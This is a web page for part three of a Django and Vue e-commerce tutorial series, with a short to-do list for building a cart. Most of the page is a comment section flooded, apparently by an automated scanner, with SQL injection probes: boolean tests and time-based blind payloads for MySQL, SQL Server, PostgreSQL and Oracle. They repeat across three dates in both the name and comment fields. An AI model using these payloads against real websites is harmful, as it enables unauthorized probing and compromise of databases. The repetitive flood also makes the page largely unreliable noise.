Part three - Basic cart - Building an e-commerce website using Django and Vue

In this part, we'll begin setting up the cart. I will also fix a few other things before we can continue the series.

Todo list for part 3

  • -Create a footer and move "Contact" link down
  • -Create an about page
  • -Make it possible to set ordering for the categories
  • -Add ordering to products, newest first
  • -Only show featured products on the frontpage
  • -Create folder and app for the cart
  • -Create a view for the cart and show link in the menu

Comments

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

-1 OR 2+416-416-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:10

-1 OR 2+254-254-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:10

-1' OR 2+479-479-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:10

-1' OR 2+740-740-1=0+0+0+1 or 'PnahQl83'='

EFSArCBy | Jul 02, 26 11:10

-1" OR 2+186-186-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:10

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:10

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:10

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:10

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:10

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:10

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:10

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:10

555FmzTIlld'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:10

555-1 OR 72=(SELECT 72 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:10

555-1) OR 919=(SELECT 919 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:10

555-1)) OR 368=(SELECT 368 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:10

5556sHj5OAd' OR 271=(SELECT 271 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:10

555z6U5NtcO') OR 86=(SELECT 86 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:10

555cPIdBL3g')) OR 548=(SELECT 548 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:10

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:10

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555'"

EFSArCBy | Jul 02, 26 11:10

@@jdc3Q

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:10

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

-1 OR 2+834-834-1=0+0+0+1 -- | Jul 02, 26 11:11

555

-1 OR 2+211-211-1=0+0+0+1 | Jul 02, 26 11:11

555

-1' OR 2+495-495-1=0+0+0+1 -- | Jul 02, 26 11:11

555

-1' OR 2+652-652-1=0+0+0+1 or 'ZNrZ3NlF'=' | Jul 02, 26 11:11

555

-1" OR 2+878-878-1=0+0+0+1 -- | Jul 02, 26 11:11

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:11

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:11

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:11

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:11

555

EFSArCByGiwCL7Cg'; waitfor delay '0:0:15' -- | Jul 02, 26 11:11

555

EFSArCByWfxGRoWd' OR 359=(SELECT 359 FROM PG_SLEEP(15))-- | Jul 02, 26 11:11

555

EFSArCByamxPCxA3') OR 334=(SELECT 334 FROM PG_SLEEP(15))-- | Jul 02, 26 11:11

555

EFSArCBypCal0HCS')) OR 423=(SELECT 423 FROM PG_SLEEP(15))-- | Jul 02, 26 11:11

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy'" | Jul 02, 26 11:11

555

@@41FTw | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 02, 26 11:11

555

EFSArCBy | Jul 20, 26 11:08

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

-1 OR 2+277-277-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:15

-1 OR 2+232-232-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:15

-1' OR 2+442-442-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:15

-1' OR 2+924-924-1=0+0+0+1 or 'm9iElFeY'='

EFSArCBy | Jul 20, 26 11:15

-1" OR 2+56-56-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:15

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:15

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:15

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:15

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:15

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:15

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:15

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:15

555GXhWo3Vi'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:15

555-1 OR 163=(SELECT 163 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:15

555-1) OR 137=(SELECT 137 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:15

555-1)) OR 620=(SELECT 620 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:15

555VHT8FpSh' OR 474=(SELECT 474 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:15

555zzkSjfyo') OR 895=(SELECT 895 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:15

5558F7i2TaC')) OR 636=(SELECT 636 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:15

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:15

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555'"

EFSArCBy | Jul 20, 26 11:15

@@5luSt

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

-1 OR 2+860-860-1=0+0+0+1 -- | Jul 20, 26 11:15

555

-1 OR 2+605-605-1=0+0+0+1 | Jul 20, 26 11:15

555

-1' OR 2+117-117-1=0+0+0+1 -- | Jul 20, 26 11:15

555

-1' OR 2+931-931-1=0+0+0+1 or 'zSa8gb2b'=' | Jul 20, 26 11:15

555

-1" OR 2+796-796-1=0+0+0+1 -- | Jul 20, 26 11:15

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:15

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:15

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:15

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:15

555

EFSArCBytk3fYSaS'; waitfor delay '0:0:15' -- | Jul 20, 26 11:15

555

EFSArCByFFsO1qLg' OR 360=(SELECT 360 FROM PG_SLEEP(15))-- | Jul 20, 26 11:15

555

EFSArCByeUH6Cs1a') OR 489=(SELECT 489 FROM PG_SLEEP(15))-- | Jul 20, 26 11:15

555

EFSArCBykuIiMODX')) OR 374=(SELECT 374 FROM PG_SLEEP(15))-- | Jul 20, 26 11:15

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy'" | Jul 20, 26 11:15

555

@@GpuxS | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 20, 26 11:15

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

-1 OR 2+360-360-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:09

-1 OR 2+310-310-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:09

-1' OR 2+822-822-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:09

-1' OR 2+715-715-1=0+0+0+1 or 'MZIWiQjE'='

EFSArCBy | Jul 23, 26 02:09

-1" OR 2+102-102-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:09

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:09

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:09

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:09

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:09

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:09

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:09

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:09

555Afjt9S9T'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:09

555-1 OR 614=(SELECT 614 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:09

555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:09

555-1)) OR 375=(SELECT 375 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:09

555DBWU8HJI' OR 155=(SELECT 155 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:09

555TLYnIY26') OR 99=(SELECT 99 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:09

555ajd5z730')) OR 408=(SELECT 408 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:09

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:09

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555'"

EFSArCBy | Jul 23, 26 02:09

@@Wxn2G

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

-1 OR 2+580-580-1=0+0+0+1 -- | Jul 23, 26 02:09

555

-1 OR 2+138-138-1=0+0+0+1 | Jul 23, 26 02:09

555

-1' OR 2+340-340-1=0+0+0+1 -- | Jul 23, 26 02:09

555

-1' OR 2+47-47-1=0+0+0+1 or 'IJoHl85S'=' | Jul 23, 26 02:09

555

-1" OR 2+475-475-1=0+0+0+1 -- | Jul 23, 26 02:09

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:09

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:09

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:09

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:09

555

EFSArCByPWvaxTPW'; waitfor delay '0:0:15' -- | Jul 23, 26 02:09

555

EFSArCByfng6Ld9r' OR 729=(SELECT 729 FROM PG_SLEEP(15))-- | Jul 23, 26 02:09

555

EFSArCBycPoe4FVa') OR 826=(SELECT 826 FROM PG_SLEEP(15))-- | Jul 23, 26 02:09

555

EFSArCByPUPJNIn8')) OR 636=(SELECT 636 FROM PG_SLEEP(15))-- | Jul 23, 26 02:09

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy'" | Jul 23, 26 02:09

555

@@r9zQq | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.